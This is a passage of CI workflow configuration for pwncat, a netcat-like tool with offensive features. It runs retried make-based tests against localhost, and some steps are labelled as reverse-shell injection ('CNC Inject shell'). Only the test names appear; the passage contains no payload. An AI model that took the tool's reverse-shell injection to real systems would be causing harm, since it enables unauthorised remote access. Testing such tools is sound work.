_wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 - name: "[OPTIONS] -C/--crlf" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--crlf env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-ubuntu-3.5.yml000066400000000000000000001215141414025024700223520ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: ubu-3.5 on: pull_request: push: branches: - master tags: jobs: test: runs-on: ubuntu-latest strategy: fail-fast: False name: "[x64] [ubuntu] python-3.5" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: 3.5 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" 